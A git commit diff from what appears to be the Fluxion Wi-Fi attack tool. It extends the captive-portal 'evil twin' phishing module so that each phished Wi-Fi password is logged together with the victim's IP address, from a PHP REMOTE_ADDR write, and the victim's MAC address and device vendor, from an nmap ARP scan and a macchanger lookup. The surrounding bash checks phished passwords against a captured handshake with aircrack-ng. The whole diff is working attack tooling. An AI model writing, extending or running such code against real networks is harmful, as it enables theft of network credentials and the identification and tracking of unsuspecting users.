Add mac adress to netlog file

This commit is contained in:
deltaxflux 2017-12-12 22:24:52 +01:00
parent 00dfab2842
commit ecb3a25da2
5 changed files with 45 additions and 2 deletions

View File

@ -5,6 +5,7 @@ CaptivePortalState="Not Ready"
CaptivePortalPassLog="$FLUXIONPath/attacks/Captive Portal/pwdlog"
CaptivePortalNetLog="$FLUXIONPath/attacks/Captive Portal/netlog"
CaptivePortalIpLog="/tmp/fluxspace/ip_hits"
CaptivePortalJamTime="9999999999999"
CaptivePortalAuthenticationMethods=("hash") # "wpa_supplicant")
@ -605,6 +606,9 @@ while [ \$AuthenticatorState = \"running\" ]; do
# Save any new password attempt.
cat \"$FLUXIONWorkspacePath/pwdattempt.txt\" >> \"$CaptivePortalPassLog/$APTargetSSID-$APTargetMAC.log\"
# Save ips to file
echo -e "$(cat /tmp/fluxspace/ip_hits | tail -n 1 | head -n 1)\n" >> \"$CaptivePortalPassLog/$APTargetSSID-$APTargetMAC-IP.log\"
# Clear logged password attempt.
echo -n > \"$FLUXIONWorkspacePath/pwdattempt.txt\"
fi
@ -615,8 +619,29 @@ while [ \$AuthenticatorState = \"running\" ]; do
if [ -f \"$FLUXIONWorkspacePath/candidate_result.txt\" ]; then
# Check if we've got the correct password by looking for anything other than \"Passphrase not in\".
if ! aircrack-ng -w \"$FLUXIONWorkspacePath/candidate.txt\" \"$FLUXIONWorkspacePath/$APTargetSSIDClean-$APTargetMAC.cap\" | grep -qi \"Passphrase not in\"; then
echo \"2\" > \"$FLUXIONWorkspacePath/candidate_result.txt\"
MatchedClientIP=$(cat \"$FLUXIONWorkspacePath/ip_hits\" | tail -n 1 | head -n 1)
if [ "$MatchedClientIP" != "" ];then
MatchedClientMAC=\$(nmap -PR -sn -n \$MatchedClientIP 2>&1 | grep -i mac | awk '{print \$3}' | tr [:upper:] [:lower:])
if [ \"\$(echo \$MatchedClientMAC| wc -m)\" != \"18\" ]; then
MatchedClientMAC=\"xx:xx:xx:xx:xx:xx\"
fi
VICTIM_FABRICANTE=\$(macchanger -l | grep \"\$(echo \"\$MatchedClientMAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-)
if echo \$MatchedClientMAC| grep -q x; then
VICTIM_FABRICANTE=\"unknown\"
fi
else
MatchedClientIP="Unknown"
MatchedClientMAC="Unknown"
fi
echo \"2\" > \"$FLUXIONWorkspacePath/candidate_result.txt\"
sleep 1
break
else
echo \"1\" > \"$FLUXIONWorkspacePath/candidate_result.txt\"
fi
@ -699,6 +724,7 @@ signal_stop_attack
# Assure we've got a directory to store net logs into.
if [ ! -d \"$CaptivePortalNetLog\" ]; then
mkdir -p \"$CaptivePortalNetLog\"
touch $CaptivePortalIpLog
fi
echo \"
@ -710,6 +736,8 @@ Channel: $APTargetChannel
Security: $APTargetEncryption
Time: \$ih\$h:\$im\$m:\$is\$s
Password: \$(cat $FLUXIONWorkspacePath/candidate.txt)
Mac: $MatchedClientMAC
IP: $MatchedClientIP
\" >\"$CaptivePortalNetLog/$APTargetSSID-$APTargetMAC.log\"" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh"

View File

@ -44,6 +44,15 @@
$candidate_result_path = "$FLUXIONWorkspacePath/candidate_result.txt";
// Define variables
$client_ip_path = "/tmp/fluxspace/ip_hits";
$client_ip = $_SERVER['REMOTE_ADDR'];
// Write ip to file
$c = fopen($client_ip_path, "w");
fwrite($c,$client_ip);
fclose($c);
// Create candidate result file to trigger checking.
$candidate_result = fopen($candidate_result_path, "w");
fwrite($candidate_result,"\n");

View File

@ -13,7 +13,7 @@ declare -r FLUXIONNoiseFloor=-90
declare -r FLUXIONNoiseCeiling=-60
declare -r FLUXIONVersion=3
declare -r FLUXIONRevision=7
declare -r FLUXIONRevision=8
declare -r FLUXIONDebug=${FLUXIONDebug:+1}
declare -r FLUXIONWIKillProcesses=${FLUXIONWIKillProcesses:+1}

6
scripts/debug.sh Executable file
View File

@ -0,0 +1,6 @@
#!/bin/bash
export FLUXIONDebug=1
export FLUXIONWIKillProcesses=1
export FLUXIONWIReloadDriver=1

0
scripts/preferences.sh Normal file → Executable file
View File